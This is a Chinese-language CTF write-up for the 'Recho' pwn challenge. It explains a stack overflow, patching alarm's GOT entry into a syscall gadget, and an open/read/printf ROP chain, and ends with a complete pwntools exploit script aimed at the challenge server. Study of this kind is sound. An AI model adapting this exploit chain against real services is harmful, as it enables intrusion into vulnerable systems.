攻防世界pwn題:Recho

2022-07-02 21:00:43

0x00:檢視檔案資訊

一個64位二進位制檔案,canaryPIE保護機制沒開。

 

0x01:用IDA進行靜態分析

 

 

分析:主程式部分是一個while迴圈,判斷條件是read返回值大於0則迴圈。函數atoi()是將一個字串轉換成整型資料,看栗子:

 

這樣子v7可以由我們所決定,所以很明顯第15行存在棧溢位。

 

個人想法:

看到程式有一堆輸入輸出函數,我首先想到的是ret2libc3。在嘗試的過程中發現無論如何都跳不出while迴圈,使用io=send('')不可以。思考無果,上網找WP。在海師傅的文章中,瞭解到可以用shutdown函數進行操作。而且海師傅是以另外的思路進行洩露的,下面我就借鑑海師傅的思路進行描述。

 

0x02:深入分析

首先說一下結束迴圈的方法:

使用io.shutdown('write')進行關閉(為啥是write呢?)

測試一下:

read不可以,send可以???,recv不可以。在測試sendline時,報錯看到了重要資訊:KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"。所以說明只能用這六個引數。然後繼續測試,in不可以,out可以)。

這樣子的話,這樣總結為不要以程式為物件。而是看引數的函數操縱資料的流向。writesendout可以,說明由內向外是可以的,反則反方向不可以。(很抱歉,由於資料缺乏。難以從本質上了解。目前先這麼考慮著)

 

另外,因為關閉後就不能開啟了,除非重新執行程式,所以我們就不能再次ROP到主函數獲取輸入了。這樣很明顯就不能用ret2libc3洩露了,雖然你可以第一次洩露出遠端libc的版本。但由於機器一般都開有aslr保護機制,這樣子libc載入的位置就會在重新執行後發生了改變了。

所以,我們必須要一次性完成所有操作,也就是get_shell或者cat_flag

 

可以構造這樣的程式碼來get flag

1int fd = open("flag",READONLY) (注:READONLY=0

2read(fd,buf,100)

3、printf(buf)

 

1、int fd = open("flag",READONLY)

程式中已經匯入了writeprintfalarmread函數,還缺個open函數。open和這些已匯入的函數都是通過系統呼叫進行呼叫的,所以libc中應該有系統呼叫的相關指令,然後改變rax暫存器,使系統呼叫號變為open的就可以了。

 

先了解一下32位和64位下的組合指令的系統呼叫:

  • 32位:
    • 傳參方式:首先將系統呼叫號傳入eax,然後將引數從左到右依次存入ebxecxedx暫存器中,返回值存在eax暫存器中。
    • 呼叫號:sys_read3,sys_write4
    • 呼叫方式:使用int 80h中斷進行系統呼叫
  • 64位:
    • 傳參方式:首先將系統呼叫號傳入rax,然後將引數從左到右依次存入rdirsirdx暫存器中,返回值存在rax暫存器中。
    • 呼叫號:sys_read0sys_write1sys_open2
    • 呼叫方式:使用syscall指令進行系統呼叫

 

隨便開啟個libc,檢視alarm函數:

 

 

系統呼叫指令syscallalarm起始位置偏移5的位置。可以對alarm.got的值加5,這需要對libc的函數地址執行一次後載入到got表上後進行操作。這裡有個gadget可以達到該目的:

 

 

分別對這兩行右鍵,進行undefine。然後對第一行右鍵,進行code。就可以得到如下gadget

 

 

指令 add [rdi],al ,我們可以先讓rdi = got['alarm'],然後使al = 5,這樣執行完該指令後,alarm對應的got表的值就指向了syscall指令。

其它相關的指令:

 

 

想要看機器碼的,可以在options->general進行設定:

 

在改了alarm.gotsyscall後,在跳轉到syscall開始系統呼叫之前,還需要做好與open函數相關的準備。有rax=2rdi=&"flag"rsi = 0

 

pop rax前面已經找出來了,至於字串"flag"的話,在程式中是有的。但在ida中用shift+f12是看不到的,可能是因為"flag"在資料段,但是shift+f12沒有查詢資料段的。我們可以在linux終端用strings ./Recho命令檢視,或者用ida的選單欄中的查詢文字功能。

 

 

字串"flag"

 

 

pop rsi指令在__libc_csu_init處有,不過沒那麼"",倒也不影響:

 

 

這一段的payload:

payload = b'A'*0x38
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(0x05)
payload += p64(rdi_add)

payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(flag)
payload += p64(pop_rax) + p64(2)
payload += p64(alarm_plt)

 

2、read(fd,buf,100)

檔案描述符012程式已經預設分配了,前面用open函數開啟檔案的檔案描述符應該是3(不行的話可以試試456……)。buf的話,海師傅用的是.bss節上的stdin_buffer:(.bss上有的可以,有的不行)

 

 

這樣子,這一部分的payload為:

payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rdx) + p64(100)
payload += p64(read_plt)

 

3、printf(buf)

printf函數把第二部分存入stdin_bufferflag列印出來。

payload為:

payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)

 

整體EXP

from pwn import *
import time
context(os='linux', arch='amd64', log_level='debug')

#io = process("./Recho")
io = remote("111.200.241.244",59230)
elf = ELF("./Recho")

pop_rax = 0x4006FC
pop_rdx = 0x4006FE
pop_rsi_r15 = 0x4008A1
pop_rdi = 0x4008A3
rdi_add = 0x40070D

flag = 0x601058
stdin_buffer = 0x601070
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']

io.recvuntil("Welcome to Recho server!\n")
io.sendline("400")

payload = b'A'*0x38
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(0x05)
payload += p64(rdi_add)

payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(flag)
payload += p64(pop_rax) + p64(2)
payload += p64(alarm_plt)

payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rdx) + p64(100)
payload += p64(read_plt)
payload
+= p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
payload
= payload.ljust(400,b'\x00') io.sendline(payload) io.shutdown('write') sleep(1) io.interactive()

 

0x03:個人感觸

 累~

這題要在程式裡面不斷翻找合適的gadget去一步步構造自己想要的執行流,還是得多看看組合,深入理解程式執行過程中組合指令的協助。二進位制的道路,任重而道遠~


 

 tolele

2022-07-02